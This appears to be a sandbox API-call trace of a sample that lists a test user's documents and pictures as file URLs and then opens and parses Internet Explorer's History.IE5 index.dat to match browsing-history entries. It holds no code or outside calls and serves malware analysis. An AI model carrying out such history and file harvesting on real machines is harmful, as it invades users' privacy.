	[0098.870] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/e2ST1_Q0mHBLRy-5f2.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned 96
	[0098.870] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/x6CWkNo2G1u-.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned 54
	[0098.870] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/oKBRaLkx9O.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned 52
	[0098.870] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Je6XvdagR_Wm.flv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned 59
	[0098.870] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/kl3RERCiEf.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned="file:///c:/users/aetadzjz/desktop/kl3rercief.odp"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned 49
	[0098.871] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/eedYuSbYbK5jgafd.flv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv"
	[0098.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned 63
	[0098.871] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/Zbmp3OzTNs-_tZwszsj.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf"
	[0098.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned 90
	[0098.871] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/UUNxjvmK-zJHQQ%20A.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif"
	[0098.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned 111
	[0098.871] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/NeeDLUS0aZvsPhMmW6Z.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx"
	[0098.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned 61
	[0098.871] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/rPro3YV6Z7EZEncRmh.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg"
	[0098.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned 57
	[0098.872] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/0q4PHTvDiubHGt70X.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods"
	[0098.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned 103
	[0098.872] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/M0PUcZV9MVtq89/vBKNUxIFja8a3sMZLJ.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp"
	[0098.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned 87
	[0098.872] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/8y78Ct0OnkxJH0jaIDTh.docx" | out: _Str="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx"
	[0098.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned 62
	[0098.872] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/ph_t9IvE4A.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif"
	[0098.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned 70
	[0098.872] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/p8yFgt4OXpBtzF0k_Bpz.jpg" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg"
	[0098.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned 67
	[0098.872] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/_DfS.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg"
	[0098.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned 97
	[0098.873] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/O9ktbmmwOdelSP.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp"
	[0098.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned 68
	[0098.873] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Ikf8E692kmkH_fO6.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png"
	[0098.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned 63
	[0098.873] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/k_VzZFxu6ATO.png" | out: _Str="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png"
	[0098.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned 52
	[0098.873] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/znz_9cyx.png" | out: _Str="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned="file:///c:/users/aetadzjz/desktop/znz_9cyx.png"
	[0098.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned 47
	[0098.873] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/iW9E8GKbCYJwFy93oC.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png"
	[0098.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned 96
	[0098.873] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/TdMGT2FmEED.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv"
	[0098.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned 64
	[0098.874] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/SNSKkCVVzd7W1.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls"
	[0098.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned 60
	[0098.874] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/XI5-8zU1WZV%20KJhPvE%20a.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf"
	[0098.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned 89
	[0098.874] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/H2IzLu1uFor.xls" | out: _Str="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls"
	[0098.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned 50
	[0098.874] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/WNWzxYqA2wELMZGrZTT.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt"
	[0098.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned 84
	[0098.874] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/AAN0pmCrLpYd.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png"
	[0098.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned 66
	[0098.874] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/SS%20BRAID%20PO.doc.rtf" | out: _Str="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf"
	[0098.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned 58
	[0098.875] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
	[0098.875] wcscat (in: _Dest=0x189f98, _Source="MSHist012018090520180906" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906"
	[0098.875] wcscat (in: _Dest=0x1890c4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\"
	[0098.875] wcscat (in: _Dest=0x1890c4, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\*.*"
	[0098.875] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\*.*", lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 0x60f818
	[0098.876] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906") returned 0x5e
	[0098.876] wcslen (_String=".") returned 0x1
	[0098.876] wcscpy (in: _Dest=0x18959c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906"
	[0098.876] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906") returned 0x5e
	[0098.876] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\"
	[0098.876] wcscat (in: _Dest=0x18959c, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\."
	[0098.876] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\"
	[0098.876] wcscat (in: _Dest=0x18959c, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\.."
	[0098.876] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\"
	[0098.876] wcscat (in: _Dest=0x18959c, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\index.dat"
	[0098.876] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
	[0098.876] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012018090520180906\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012018090520180906\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0
	[0098.876] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.876] ReadFile (in: hFile=0xc0, lpBuffer=0x18901c, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x182ce4, lpOverlapped=0x0 | out: lpBuffer=0x18901c*, lpNumberOfBytesRead=0x182ce4*=0x20, lpOverlapped=0x0) returned 1
	[0098.877] GetFileSize (in: hFile=0xc0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000
	[0098.877] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0098.877] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x182cc4, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc4*=0x8, lpOverlapped=0x0) returned 1
	[0098.877] _memicmp (_Buf1=0x186f1c, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.877] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0098.877] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x182cc0, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc0*=0x100, lpOverlapped=0x0) returned 1
	[0098.877] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/h9ejN.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg"
	[0098.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 71
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned -1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned -1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned 1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned -1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned -1
	[0098.877] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned 1
